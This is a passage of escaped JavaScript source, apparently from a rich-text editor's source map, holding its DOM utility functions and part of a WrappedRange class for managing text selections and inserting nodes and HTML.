next);\n  } else {\n    parent.appendChild(node);\n  }\n  return node;\n}\n\n/**\n * append elements.\n *\n * @param {Node} node\n * @param {Collection} aChild\n */\nfunction appendChildNodes(node, aChild) {\n  $.each(aChild, function(idx, child) {\n    node.appendChild(child);\n  });\n  return node;\n}\n\n/**\n * returns whether boundaryPoint is left edge or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isLeftEdgePoint(point) {\n  return point.offset === 0;\n}\n\n/**\n * returns whether boundaryPoint is right edge or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isRightEdgePoint(point) {\n  return point.offset === nodeLength(point.node);\n}\n\n/**\n * returns whether boundaryPoint is edge or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isEdgePoint(point) {\n  return isLeftEdgePoint(point) || isRightEdgePoint(point);\n}\n\n/**\n * returns whether node is left edge of ancestor or not.\n *\n * @param {Node} node\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isLeftEdgeOf(node, ancestor) {\n  while (node && node !== ancestor) {\n    if (position(node) !== 0) {\n      return false;\n    }\n    node = node.parentNode;\n  }\n\n  return true;\n}\n\n/**\n * returns whether node is right edge of ancestor or not.\n *\n * @param {Node} node\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isRightEdgeOf(node, ancestor) {\n  if (!ancestor) {\n    return false;\n  }\n  while (node && node !== ancestor) {\n    if (position(node) !== nodeLength(node.parentNode) - 1) {\n      return false;\n    }\n    node = node.parentNode;\n  }\n\n  return true;\n}\n\n/**\n * returns whether point is left edge of ancestor or not.\n * @param {BoundaryPoint} point\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isLeftEdgePointOf(point, ancestor) {\n  return isLeftEdgePoint(point) && isLeftEdgeOf(point.node, ancestor);\n}\n\n/**\n * returns whether point is right edge of ancestor or not.\n * @param {BoundaryPoint} point\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isRightEdgePointOf(point, ancestor) {\n  return isRightEdgePoint(point) && isRightEdgeOf(point.node, ancestor);\n}\n\n/**\n * returns offset from parent.\n *\n * @param {Node} node\n */\nfunction position(node) {\n  let offset = 0;\n  while ((node = node.previousSibling)) {\n    offset += 1;\n  }\n  return offset;\n}\n\nfunction hasChildren(node) {\n  return !!(node && node.childNodes && node.childNodes.length);\n}\n\n/**\n * returns previous boundaryPoint\n *\n * @param {BoundaryPoint} point\n * @param {Boolean} isSkipInnerOffset\n * @return {BoundaryPoint}\n */\nfunction prevPoint(point, isSkipInnerOffset) {\n  let node;\n  let offset;\n\n  if (point.offset === 0) {\n    if (isEditable(point.node)) {\n      return null;\n    }\n\n    node = point.node.parentNode;\n    offset = position(point.node);\n  } else if (hasChildren(point.node)) {\n    node = point.node.childNodes[point.offset - 1];\n    offset = nodeLength(node);\n  } else {\n    node = point.node;\n    offset = isSkipInnerOffset ? 0 : point.offset - 1;\n  }\n\n  return {\n    node: node,\n    offset: offset\n  };\n}\n\n/**\n * returns next boundaryPoint\n *\n * @param {BoundaryPoint} point\n * @param {Boolean} isSkipInnerOffset\n * @return {BoundaryPoint}\n */\nfunction nextPoint(point, isSkipInnerOffset) {\n  let node, offset;\n\n  if (nodeLength(point.node) === point.offset) {\n    if (isEditable(point.node)) {\n      return null;\n    }\n\n    node = point.node.parentNode;\n    offset = position(point.node) + 1;\n  } else if (hasChildren(point.node)) {\n    node = point.node.childNodes[point.offset];\n    offset = 0;\n  } else {\n    node = point.node;\n    offset = isSkipInnerOffset ? nodeLength(point.node) : point.offset + 1;\n  }\n\n  return {\n    node: node,\n    offset: offset\n  };\n}\n\n/**\n * returns whether pointA and pointB is same or not.\n *\n * @param {BoundaryPoint} pointA\n * @param {BoundaryPoint} pointB\n * @return {Boolean}\n */\nfunction isSamePoint(pointA, pointB) {\n  return pointA.node === pointB.node && pointA.offset === pointB.offset;\n}\n\n/**\n * returns whether point is visible (can set cursor) or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isVisiblePoint(point) {\n  if (isText(point.node) || !hasChildren(point.node) || isEmpty(point.node)) {\n    return true;\n  }\n\n  const leftNode = point.node.childNodes[point.offset - 1];\n  const rightNode = point.node.childNodes[point.offset];\n  if ((!leftNode || isVoid(leftNode)) && (!rightNode || isVoid(rightNode))) {\n    return true;\n  }\n\n  return false;\n}\n\n/**\n * @method prevPointUtil\n *\n * @param {BoundaryPoint} point\n * @param {Function} pred\n * @return {BoundaryPoint}\n */\nfunction prevPointUntil(point, pred) {\n  while (point) {\n    if (pred(point)) {\n      return point;\n    }\n\n    point = prevPoint(point);\n  }\n\n  return null;\n}\n\n/**\n * @method nextPointUntil\n *\n * @param {BoundaryPoint} point\n * @param {Function} pred\n * @return {BoundaryPoint}\n */\nfunction nextPointUntil(point, pred) {\n  while (point) {\n    if (pred(point)) {\n      return point;\n    }\n\n    point = nextPoint(point);\n  }\n\n  return null;\n}\n\n/**\n * returns whether point has character or not.\n *\n * @param {Point} point\n * @return {Boolean}\n */\nfunction isCharPoint(point) {\n  if (!isText(point.node)) {\n    return false;\n  }\n\n  const ch = point.node.nodeValue.charAt(point.offset - 1);\n  return ch && (ch !== ' ' && ch !== NBSP_CHAR);\n}\n\n/**\n * @method walkPoint\n *\n * @param {BoundaryPoint} startPoint\n * @param {BoundaryPoint} endPoint\n * @param {Function} handler\n * @param {Boolean} isSkipInnerOffset\n */\nfunction walkPoint(startPoint, endPoint, handler, isSkipInnerOffset) {\n  let point = startPoint;\n\n  while (point) {\n    handler(point);\n\n    if (isSamePoint(point, endPoint)) {\n      break;\n    }\n\n    const isSkipOffset = isSkipInnerOffset &&\n                       startPoint.node !== point.node &&\n                       endPoint.node !== point.node;\n    point = nextPoint(point, isSkipOffset);\n  }\n}\n\n/**\n * @method makeOffsetPath\n *\n * return offsetPath(array of offset) from ancestor\n *\n * @param {Node} ancestor - ancestor node\n * @param {Node} node\n */\nfunction makeOffsetPath(ancestor, node) {\n  const ancestors = listAncestor(node, func.eq(ancestor));\n  return ancestors.map(position).reverse();\n}\n\n/**\n * @method fromOffsetPath\n *\n * return element from offsetPath(array of offset)\n *\n * @param {Node} ancestor - ancestor node\n * @param {array} offsets - offsetPath\n */\nfunction fromOffsetPath(ancestor, offsets) {\n  let current = ancestor;\n  for (let i = 0, len = offsets.length; i < len; i++) {\n    if (current.childNodes.length <= offsets[i]) {\n      current = current.childNodes[current.childNodes.length - 1];\n    } else {\n      current = current.childNodes[offsets[i]];\n    }\n  }\n  return current;\n}\n\n/**\n * @method splitNode\n *\n * split element or #text\n *\n * @param {BoundaryPoint} point\n * @param {Object} [options]\n * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false\n * @param {Boolean} [options.isNotSplitEdgePoint] - default: false\n * @return {Node} right node of boundaryPoint\n */\nfunction splitNode(point, options) {\n  const isSkipPaddingBlankHTML = options && options.isSkipPaddingBlankHTML;\n  const isNotSplitEdgePoint = options && options.isNotSplitEdgePoint;\n\n  // edge case\n  if (isEdgePoint(point) && (isText(point.node) || isNotSplitEdgePoint)) {\n    if (isLeftEdgePoint(point)) {\n      return point.node;\n    } else if (isRightEdgePoint(point)) {\n      return point.node.nextSibling;\n    }\n  }\n\n  // split #text\n  if (isText(point.node)) {\n    return point.node.splitText(point.offset);\n  } else {\n    const childNode = point.node.childNodes[point.offset];\n    const clone = insertAfter(point.node.cloneNode(false), point.node);\n    appendChildNodes(clone, listNext(childNode));\n\n    if (!isSkipPaddingBlankHTML) {\n      paddingBlankHTML(point.node);\n      paddingBlankHTML(clone);\n    }\n\n    return clone;\n  }\n}\n\n/**\n * @method splitTree\n *\n * split tree by point\n *\n * @param {Node} root - split root\n * @param {BoundaryPoint} point\n * @param {Object} [options]\n * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false\n * @param {Boolean} [options.isNotSplitEdgePoint] - default: false\n * @return {Node} right node of boundaryPoint\n */\nfunction splitTree(root, point, options) {\n  // ex) [#text, <span>, <p>]\n  const ancestors = listAncestor(point.node, func.eq(root));\n\n  if (!ancestors.length) {\n    return null;\n  } else if (ancestors.length === 1) {\n    return splitNode(point, options);\n  }\n\n  return ancestors.reduce(function(node, parent) {\n    if (node === point.node) {\n      node = splitNode(point, options);\n    }\n\n    return splitNode({\n      node: parent,\n      offset: node ? position(node) : nodeLength(parent)\n    }, options);\n  });\n}\n\n/**\n * split point\n *\n * @param {Point} point\n * @param {Boolean} isInline\n * @return {Object}\n */\nfunction splitPoint(point, isInline) {\n  // find splitRoot, container\n  //  - inline: splitRoot is a child of paragraph\n  //  - block: splitRoot is a child of bodyContainer\n  const pred = isInline ? isPara : isBodyContainer;\n  const ancestors = listAncestor(point.node, pred);\n  const topAncestor = lists.last(ancestors) || point.node;\n\n  let splitRoot, container;\n  if (pred(topAncestor)) {\n    splitRoot = ancestors[ancestors.length - 2];\n    container = topAncestor;\n  } else {\n    splitRoot = topAncestor;\n    container = splitRoot.parentNode;\n  }\n\n  // if splitRoot is exists, split with splitTree\n  let pivot = splitRoot && splitTree(splitRoot, point, {\n    isSkipPaddingBlankHTML: isInline,\n    isNotSplitEdgePoint: isInline\n  });\n\n  // if container is point.node, find pivot with point.offset\n  if (!pivot && container === point.node) {\n    pivot = point.node.childNodes[point.offset];\n  }\n\n  return {\n    rightNode: pivot,\n    container: container\n  };\n}\n\nfunction create(nodeName) {\n  return document.createElement(nodeName);\n}\n\nfunction createText(text) {\n  return document.createTextNode(text);\n}\n\n/**\n * @method remove\n *\n * remove node, (isRemoveChild: remove child or not)\n *\n * @param {Node} node\n * @param {Boolean} isRemoveChild\n */\nfunction remove(node, isRemoveChild) {\n  if (!node || !node.parentNode) { return; }\n  if (node.removeNode) { return node.removeNode(isRemoveChild); }\n\n  const parent = node.parentNode;\n  if (!isRemoveChild) {\n    const nodes = [];\n    for (let i = 0, len = node.childNodes.length; i < len; i++) {\n      nodes.push(node.childNodes[i]);\n    }\n\n    for (let i = 0, len = nodes.length; i < len; i++) {\n      parent.insertBefore(nodes[i], node);\n    }\n  }\n\n  parent.removeChild(node);\n}\n\n/**\n * @method removeWhile\n *\n * @param {Node} node\n * @param {Function} pred\n */\nfunction removeWhile(node, pred) {\n  while (node) {\n    if (isEditable(node) || !pred(node)) {\n      break;\n    }\n\n    const parent = node.parentNode;\n    remove(node);\n    node = parent;\n  }\n}\n\n/**\n * @method replace\n *\n * replace node with provided nodeName\n *\n * @param {Node} node\n * @param {String} nodeName\n * @return {Node} - new node\n */\nfunction replace(node, nodeName) {\n  if (node.nodeName.toUpperCase() === nodeName.toUpperCase()) {\n    return node;\n  }\n\n  const newNode = create(nodeName);\n\n  if (node.style.cssText) {\n    newNode.style.cssText = node.style.cssText;\n  }\n\n  appendChildNodes(newNode, lists.from(node.childNodes));\n  insertAfter(newNode, node);\n  remove(node);\n\n  return newNode;\n}\n\nconst isTextarea = makePredByNodeName('TEXTAREA');\n\n/**\n * @param {jQuery} $node\n * @param {Boolean} [stripLinebreaks] - default: false\n */\nfunction value($node, stripLinebreaks) {\n  const val = isTextarea($node[0]) ? $node.val() : $node.html();\n  if (stripLinebreaks) {\n    return val.replace(/[\\n\\r]/g, '');\n  }\n  return val;\n}\n\n/**\n * @method html\n *\n * get the HTML contents of node\n *\n * @param {jQuery} $node\n * @param {Boolean} [isNewlineOnBlock]\n */\nfunction html($node, isNewlineOnBlock) {\n  let markup = value($node);\n\n  if (isNewlineOnBlock) {\n    const regexTag = /<(\\/?)(\\b(?!!)[^>\\s]*)(.*?)(\\s*\\/?>)/g;\n    markup = markup.replace(regexTag, function(match, endSlash, name) {\n      name = name.toUpperCase();\n      const isEndOfInlineContainer = /^DIV|^TD|^TH|^P|^LI|^H[1-7]/.test(name) &&\n                                   !!endSlash;\n      const isBlockNode = /^BLOCKQUOTE|^TABLE|^TBODY|^TR|^HR|^UL|^OL/.test(name);\n\n      return match + ((isEndOfInlineContainer || isBlockNode) ? '\\n' : '');\n    });\n    markup = $.trim(markup);\n  }\n\n  return markup;\n}\n\nfunction posFromPlaceholder(placeholder) {\n  const $placeholder = $(placeholder);\n  const pos = $placeholder.offset();\n  const height = $placeholder.outerHeight(true); // include margin\n\n  return {\n    left: pos.left,\n    top: pos.top + height\n  };\n}\n\nfunction attachEvents($node, events) {\n  Object.keys(events).forEach(function(key) {\n    $node.on(key, events[key]);\n  });\n}\n\nfunction detachEvents($node, events) {\n  Object.keys(events).forEach(function(key) {\n    $node.off(key, events[key]);\n  });\n}\n\n/**\n * @method isCustomStyleTag\n *\n * assert if a node contains a \"note-styletag\" class,\n * which implies that's a custom-made style tag node\n *\n * @param {Node} an HTML DOM node\n */\nfunction isCustomStyleTag(node) {\n  return node && !isText(node) && lists.contains(node.classList, 'note-styletag');\n}\n\nexport default {\n  /** @property {String} NBSP_CHAR */\n  NBSP_CHAR,\n  /** @property {String} ZERO_WIDTH_NBSP_CHAR */\n  ZERO_WIDTH_NBSP_CHAR,\n  /** @property {String} blank */\n  blank: blankHTML,\n  /** @property {String} emptyPara */\n  emptyPara: `<p>${blankHTML}</p>`,\n  makePredByNodeName,\n  isEditable,\n  isControlSizing,\n  isText,\n  isElement,\n  isVoid,\n  isPara,\n  isPurePara,\n  isHeading,\n  isInline,\n  isBlock: func.not(isInline),\n  isBodyInline,\n  isBody,\n  isParaInline,\n  isPre,\n  isList,\n  isTable,\n  isData,\n  isCell,\n  isBlockquote,\n  isBodyContainer,\n  isAnchor,\n  isDiv: makePredByNodeName('DIV'),\n  isLi,\n  isBR: makePredByNodeName('BR'),\n  isSpan: makePredByNodeName('SPAN'),\n  isB: makePredByNodeName('B'),\n  isU: makePredByNodeName('U'),\n  isS: makePredByNodeName('S'),\n  isI: makePredByNodeName('I'),\n  isImg: makePredByNodeName('IMG'),\n  isTextarea,\n  isEmpty,\n  isEmptyAnchor: func.and(isAnchor, isEmpty),\n  isClosestSibling,\n  withClosestSiblings,\n  nodeLength,\n  isLeftEdgePoint,\n  isRightEdgePoint,\n  isEdgePoint,\n  isLeftEdgeOf,\n  isRightEdgeOf,\n  isLeftEdgePointOf,\n  isRightEdgePointOf,\n  prevPoint,\n  nextPoint,\n  isSamePoint,\n  isVisiblePoint,\n  prevPointUntil,\n  nextPointUntil,\n  isCharPoint,\n  walkPoint,\n  ancestor,\n  singleChildAncestor,\n  listAncestor,\n  lastAncestor,\n  listNext,\n  listPrev,\n  listDescendant,\n  commonAncestor,\n  wrap,\n  insertAfter,\n  appendChildNodes,\n  position,\n  hasChildren,\n  makeOffsetPath,\n  fromOffsetPath,\n  splitTree,\n  splitPoint,\n  create,\n  createText,\n  remove,\n  removeWhile,\n  replace,\n  html,\n  value,\n  posFromPlaceholder,\n  attachEvents,\n  detachEvents,\n  isCustomStyleTag\n};\n","import $ from 'jquery';\nimport env from './env';\nimport func from './func';\nimport lists from './lists';\nimport dom from './dom';\n\n/**\n * return boundaryPoint from TextRange, inspired by Andy Na's HuskyRange.js\n *\n * @param {TextRange} textRange\n * @param {Boolean} isStart\n * @return {BoundaryPoint}\n *\n * @see http://msdn.microsoft.com/en-us/library/ie/ms535872(v=vs.85).aspx\n */\nfunction textRangeToPoint(textRange, isStart) {\n  let container = textRange.parentElement();\n  let offset;\n\n  const tester = document.body.createTextRange();\n  let prevContainer;\n  const childNodes = lists.from(container.childNodes);\n  for (offset = 0; offset < childNodes.length; offset++) {\n    if (dom.isText(childNodes[offset])) {\n      continue;\n    }\n    tester.moveToElementText(childNodes[offset]);\n    if (tester.compareEndPoints('StartToStart', textRange) >= 0) {\n      break;\n    }\n    prevContainer = childNodes[offset];\n  }\n\n  if (offset !== 0 && dom.isText(childNodes[offset - 1])) {\n    const textRangeStart = document.body.createTextRange();\n    let curTextNode = null;\n    textRangeStart.moveToElementText(prevContainer || container);\n    textRangeStart.collapse(!prevContainer);\n    curTextNode = prevContainer ? prevContainer.nextSibling : container.firstChild;\n\n    const pointTester = textRange.duplicate();\n    pointTester.setEndPoint('StartToStart', textRangeStart);\n    let textCount = pointTester.text.replace(/[\\r\\n]/g, '').length;\n\n    while (textCount > curTextNode.nodeValue.length && curTextNode.nextSibling) {\n      textCount -= curTextNode.nodeValue.length;\n      curTextNode = curTextNode.nextSibling;\n    }\n\n    // [workaround] enforce IE to re-reference curTextNode, hack\n    const dummy = curTextNode.nodeValue; // eslint-disable-line\n\n    if (isStart && curTextNode.nextSibling && dom.isText(curTextNode.nextSibling) &&\n      textCount === curTextNode.nodeValue.length) {\n      textCount -= curTextNode.nodeValue.length;\n      curTextNode = curTextNode.nextSibling;\n    }\n\n    container = curTextNode;\n    offset = textCount;\n  }\n\n  return {\n    cont: container,\n    offset: offset\n  };\n}\n\n/**\n * return TextRange from boundary point (inspired by google closure-library)\n * @param {BoundaryPoint} point\n * @return {TextRange}\n */\nfunction pointToTextRange(point) {\n  const textRangeInfo = function(container, offset) {\n    let node, isCollapseToStart;\n\n    if (dom.isText(container)) {\n      const prevTextNodes = dom.listPrev(container, func.not(dom.isText));\n      const prevContainer = lists.last(prevTextNodes).previousSibling;\n      node = prevContainer || container.parentNode;\n      offset += lists.sum(lists.tail(prevTextNodes), dom.nodeLength);\n      isCollapseToStart = !prevContainer;\n    } else {\n      node = container.childNodes[offset] || container;\n      if (dom.isText(node)) {\n        return textRangeInfo(node, 0);\n      }\n\n      offset = 0;\n      isCollapseToStart = false;\n    }\n\n    return {\n      node: node,\n      collapseToStart: isCollapseToStart,\n      offset: offset\n    };\n  };\n\n  const textRange = document.body.createTextRange();\n  const info = textRangeInfo(point.node, point.offset);\n\n  textRange.moveToElementText(info.node);\n  textRange.collapse(info.collapseToStart);\n  textRange.moveStart('character', info.offset);\n  return textRange;\n}\n\n/**\n   * Wrapped Range\n   *\n   * @constructor\n   * @param {Node} sc - start container\n   * @param {Number} so - start offset\n   * @param {Node} ec - end container\n   * @param {Number} eo - end offset\n   */\nclass WrappedRange {\n  constructor(sc, so, ec, eo) {\n    this.sc = sc;\n    this.so = so;\n    this.ec = ec;\n    this.eo = eo;\n\n    // isOnEditable: judge whether range is on editable or not\n    this.isOnEditable = this.makeIsOn(dom.isEditable);\n    // isOnList: judge whether range is on list node or not\n    this.isOnList = this.makeIsOn(dom.isList);\n    // isOnAnchor: judge whether range is on anchor node or not\n    this.isOnAnchor = this.makeIsOn(dom.isAnchor);\n    // isOnCell: judge whether range is on cell node or not\n    this.isOnCell = this.makeIsOn(dom.isCell);\n    // isOnData: judge whether range is on data node or not\n    this.isOnData = this.makeIsOn(dom.isData);\n  }\n\n  // nativeRange: get nativeRange from sc, so, ec, eo\n  nativeRange() {\n    if (env.isW3CRangeSupport) {\n      const w3cRange = document.createRange();\n      w3cRange.setStart(this.sc, this.so);\n      w3cRange.setEnd(this.ec, this.eo);\n\n      return w3cRange;\n    } else {\n      const textRange = pointToTextRange({\n        node: this.sc,\n        offset: this.so\n      });\n\n      textRange.setEndPoint('EndToEnd', pointToTextRange({\n        node: this.ec,\n        offset: this.eo\n      }));\n\n      return textRange;\n    }\n  }\n\n  getPoints() {\n    return {\n      sc: this.sc,\n      so: this.so,\n      ec: this.ec,\n      eo: this.eo\n    };\n  }\n\n  getStartPoint() {\n    return {\n      node: this.sc,\n      offset: this.so\n    };\n  }\n\n  getEndPoint() {\n    return {\n      node: this.ec,\n      offset: this.eo\n    };\n  }\n\n  /**\n   * select update visible range\n   */\n  select() {\n    const nativeRng = this.nativeRange();\n    if (env.isW3CRangeSupport) {\n      const selection = document.getSelection();\n      if (selection.rangeCount > 0) {\n        selection.removeAllRanges();\n      }\n      selection.addRange(nativeRng);\n    } else {\n      nativeRng.select();\n    }\n\n    return this;\n  }\n\n  /**\n   * Moves the scrollbar to start container(sc) of current range\n   *\n   * @return {WrappedRange}\n   */\n  scrollIntoView(container) {\n    const height = $(container).height();\n    if (container.scrollTop + height < this.sc.offsetTop) {\n      container.scrollTop += Math.abs(container.scrollTop + height - this.sc.offsetTop);\n    }\n\n    return this;\n  }\n\n  /**\n   * @return {WrappedRange}\n   */\n  normalize() {\n    /**\n     * @param {BoundaryPoint} point\n     * @param {Boolean} isLeftToRight\n     * @return {BoundaryPoint}\n     */\n    const getVisiblePoint = function(point, isLeftToRight) {\n      if ((dom.isVisiblePoint(point) && !dom.isEdgePoint(point)) ||\n          (dom.isVisiblePoint(point) && dom.isRightEdgePoint(point) && !isLeftToRight) ||\n          (dom.isVisiblePoint(point) && dom.isLeftEdgePoint(point) && isLeftToRight) ||\n          (dom.isVisiblePoint(point) && dom.isBlock(point.node) && dom.isEmpty(point.node))) {\n        return point;\n      }\n\n      // point on block's edge\n      const block = dom.ancestor(point.node, dom.isBlock);\n      if (((dom.isLeftEdgePointOf(point, block) || dom.isVoid(dom.prevPoint(point).node)) && !isLeftToRight) ||\n          ((dom.isRightEdgePointOf(point, block) || dom.isVoid(dom.nextPoint(point).node)) && isLeftToRight)) {\n        // returns point already on visible point\n        if (dom.isVisiblePoint(point)) {\n          return point;\n        }\n        // reverse direction\n        isLeftToRight = !isLeftToRight;\n      }\n\n      const nextPoint = isLeftToRight ? dom.nextPointUntil(dom.nextPoint(point), dom.isVisiblePoint)\n        : dom.prevPointUntil(dom.prevPoint(point), dom.isVisiblePoint);\n      return nextPoint || point;\n    };\n\n    const endPoint = getVisiblePoint(this.getEndPoint(), false);\n    const startPoint = this.isCollapsed() ? endPoint : getVisiblePoint(this.getStartPoint(), true);\n\n    return new WrappedRange(\n      startPoint.node,\n      startPoint.offset,\n      endPoint.node,\n      endPoint.offset\n    );\n  }\n\n  /**\n   * returns matched nodes on range\n   *\n   * @param {Function} [pred] - predicate function\n   * @param {Object} [options]\n   * @param {Boolean} [options.includeAncestor]\n   * @param {Boolean} [options.fullyContains]\n   * @return {Node[]}\n   */\n  nodes(pred, options) {\n    pred = pred || func.ok;\n\n    const includeAncestor = options && options.includeAncestor;\n    const fullyContains = options && options.fullyContains;\n\n    // TODO compare points and sort\n    const startPoint = this.getStartPoint();\n    const endPoint = this.getEndPoint();\n\n    const nodes = [];\n    const leftEdgeNodes = [];\n\n    dom.walkPoint(startPoint, endPoint, function(point) {\n      if (dom.isEditable(point.node)) {\n        return;\n      }\n\n      let node;\n      if (fullyContains) {\n        if (dom.isLeftEdgePoint(point)) {\n          leftEdgeNodes.push(point.node);\n        }\n        if (dom.isRightEdgePoint(point) && lists.contains(leftEdgeNodes, point.node)) {\n          node = point.node;\n        }\n      } else if (includeAncestor) {\n        node = dom.ancestor(point.node, pred);\n      } else {\n        node = point.node;\n      }\n\n      if (node && pred(node)) {\n        nodes.push(node);\n      }\n    }, true);\n\n    return lists.unique(nodes);\n  }\n\n  /**\n   * returns commonAncestor of range\n   * @return {Element} - commonAncestor\n   */\n  commonAncestor() {\n    return dom.commonAncestor(this.sc, this.ec);\n  }\n\n  /**\n   * returns expanded range by pred\n   *\n   * @param {Function} pred - predicate function\n   * @return {WrappedRange}\n   */\n  expand(pred) {\n    const startAncestor = dom.ancestor(this.sc, pred);\n    const endAncestor = dom.ancestor(this.ec, pred);\n\n    if (!startAncestor && !endAncestor) {\n      return new WrappedRange(this.sc, this.so, this.ec, this.eo);\n    }\n\n    const boundaryPoints = this.getPoints();\n\n    if (startAncestor) {\n      boundaryPoints.sc = startAncestor;\n      boundaryPoints.so = 0;\n    }\n\n    if (endAncestor) {\n      boundaryPoints.ec = endAncestor;\n      boundaryPoints.eo = dom.nodeLength(endAncestor);\n    }\n\n    return new WrappedRange(\n      boundaryPoints.sc,\n      boundaryPoints.so,\n      boundaryPoints.ec,\n      boundaryPoints.eo\n    );\n  }\n\n  /**\n   * @param {Boolean} isCollapseToStart\n   * @return {WrappedRange}\n   */\n  collapse(isCollapseToStart) {\n    if (isCollapseToStart) {\n      return new WrappedRange(this.sc, this.so, this.sc, this.so);\n    } else {\n      return new WrappedRange(this.ec, this.eo, this.ec, this.eo);\n    }\n  }\n\n  /**\n   * splitText on range\n   */\n  splitText() {\n    const isSameContainer = this.sc === this.ec;\n    const boundaryPoints = this.getPoints();\n\n    if (dom.isText(this.ec) && !dom.isEdgePoint(this.getEndPoint())) {\n      this.ec.splitText(this.eo);\n    }\n\n    if (dom.isText(this.sc) && !dom.isEdgePoint(this.getStartPoint())) {\n      boundaryPoints.sc = this.sc.splitText(this.so);\n      boundaryPoints.so = 0;\n\n      if (isSameContainer) {\n        boundaryPoints.ec = boundaryPoints.sc;\n        boundaryPoints.eo = this.eo - this.so;\n      }\n    }\n\n    return new WrappedRange(\n      boundaryPoints.sc,\n      boundaryPoints.so,\n      boundaryPoints.ec,\n      boundaryPoints.eo\n    );\n  }\n\n  /**\n   * delete contents on range\n   * @return {WrappedRange}\n   */\n  deleteContents() {\n    if (this.isCollapsed()) {\n      return this;\n    }\n\n    const rng = this.splitText();\n    const nodes = rng.nodes(null, {\n      fullyContains: true\n    });\n\n    // find new cursor point\n    const point = dom.prevPointUntil(rng.getStartPoint(), function(point) {\n      return !lists.contains(nodes, point.node);\n    });\n\n    const emptyParents = [];\n    $.each(nodes, function(idx, node) {\n      // find empty parents\n      const parent = node.parentNode;\n      if (point.node !== parent && dom.nodeLength(parent) === 1) {\n        emptyParents.push(parent);\n      }\n      dom.remove(node, false);\n    });\n\n    // remove empty parents\n    $.each(emptyParents, function(idx, node) {\n      dom.remove(node, false);\n    });\n\n    return new WrappedRange(\n      point.node,\n      point.offset,\n      point.node,\n      point.offset\n    ).normalize();\n  }\n\n  /**\n   * makeIsOn: return isOn(pred) function\n   */\n  makeIsOn(pred) {\n    return function() {\n      const ancestor = dom.ancestor(this.sc, pred);\n      return !!ancestor && (ancestor === dom.ancestor(this.ec, pred));\n    };\n  }\n\n  /**\n   * @param {Function} pred\n   * @return {Boolean}\n   */\n  isLeftEdgeOf(pred) {\n    if (!dom.isLeftEdgePoint(this.getStartPoint())) {\n      return false;\n    }\n\n    const node = dom.ancestor(this.sc, pred);\n    return node && dom.isLeftEdgeOf(this.sc, node);\n  }\n\n  /**\n   * returns whether range was collapsed or not\n   */\n  isCollapsed() {\n    return this.sc === this.ec && this.so === this.eo;\n  }\n\n  /**\n   * wrap inline nodes which children of body with paragraph\n   *\n   * @return {WrappedRange}\n   */\n  wrapBodyInlineWithPara() {\n    if (dom.isBodyContainer(this.sc) && dom.isEmpty(this.sc)) {\n      this.sc.innerHTML = dom.emptyPara;\n      return new WrappedRange(this.sc.firstChild, 0, this.sc.firstChild, 0);\n    }\n\n    /**\n     * [workaround] firefox often create range on not visible point. so normalize here.\n     *  - firefox: |<p>text</p>|\n     *  - chrome: <p>|text|</p>\n     */\n    const rng = this.normalize();\n    if (dom.isParaInline(this.sc) || dom.isPara(this.sc)) {\n      return rng;\n    }\n\n    // find inline top ancestor\n    let topAncestor;\n    if (dom.isInline(rng.sc)) {\n      const ancestors = dom.listAncestor(rng.sc, func.not(dom.isInline));\n      topAncestor = lists.last(ancestors);\n      if (!dom.isInline(topAncestor)) {\n        topAncestor = ancestors[ancestors.length - 2] || rng.sc.childNodes[rng.so];\n      }\n    } else {\n      topAncestor = rng.sc.childNodes[rng.so > 0 ? rng.so - 1 : 0];\n    }\n\n    // siblings not in paragraph\n    let inlineSiblings = dom.listPrev(topAncestor, dom.isParaInline).reverse();\n    inlineSiblings = inlineSiblings.concat(dom.listNext(topAncestor.nextSibling, dom.isParaInline));\n\n    // wrap with paragraph\n    if (inlineSiblings.length) {\n      const para = dom.wrap(lists.head(inlineSiblings), 'p');\n      dom.appendChildNodes(para, lists.tail(inlineSiblings));\n    }\n\n    return this.normalize();\n  }\n\n  /**\n   * insert node at current cursor\n   *\n   * @param {Node} node\n   * @return {Node}\n   */\n  insertNode(node) {\n    const rng = this.wrapBodyInlineWithPara().deleteContents();\n    const info = dom.splitPoint(rng.getStartPoint(), dom.isInline(node));\n\n    if (info.rightNode) {\n      info.rightNode.parentNode.insertBefore(node, info.rightNode);\n    } else {\n      info.container.appendChild(node);\n    }\n\n    return node;\n  }\n\n  /**\n   * insert html at current cursor\n   */\n  pasteHTML(markup) {\n    const contentsContainer = $('<div></div>').html(markup)[0];\n    const childNodes = lists.from(contentsContainer.childNodes);\n\n    const rng = this.wrapBodyInlineWithPara().deleteContents();\n\n    return childNodes.reverse().map(function(childNode) {\n      return rng.insertNode(childNode);\n    }).reverse();\n  }\n\n  /**\n   * returns text in range\n   *\n   * @return {String}\n   */\n  toString() {\n    const nativeRng = this.nativeRange();\n    return env.isW3CRangeSupport ? nativeRng.toString() : nativeRng.text;\n  }\n\n  /**\n   * returns range for word before cursor\n   *\n   * @param {Boolean} [findAfter] - find after cursor, default: false\n   * @return {WrappedRange}\n   */\n  getWordRange(findAfter) {\n    let endPoint = this.getEndPoint();\n\n    if (!dom.isCharPoint(endPoint)) {\n      return this;\n    }\n\n    const startPoint = dom.prevPointUntil(endPoint, function(point) {\n      return !dom.isCharPoint(point);\n    });\n\n    if (findAfter) {\n      endPoint = dom.nextPointUntil(endPoint, function(point) {\n        return !dom.isCharPoint(point);\n      });\n    }\n\n    return new WrappedRange(\n      startPoint.node,\n      startPoint.offset,\n      endPoint.node,\n      endPoint.offset\n    );\n  }\n\n  /**\n   * create offsetPath bookmark\n   *\n   * @param {Node} editable\n   */\n  bookmark(editable) {\n    return {\n      s: {\n        path: dom.makeOffsetPath(editable, this.sc),\n        offset: this.so\n      },\n      e: {\n        path: dom.makeOffsetPath(editable, this.ec),\n        offset: this.eo\n      }\n    };\n  }\n\n  /**\n   * create offsetPath bookmark base on paragraph\n   *\n   * @param {Node[]} paras\n   */\n  paraBookmark(paras) {\n    return {\n      s: {\n        path: lists.tail(dom.makeOffsetPath(lists.head(paras), this.sc)),\n        offset: this.so\n      },\n      e: {\n        path: 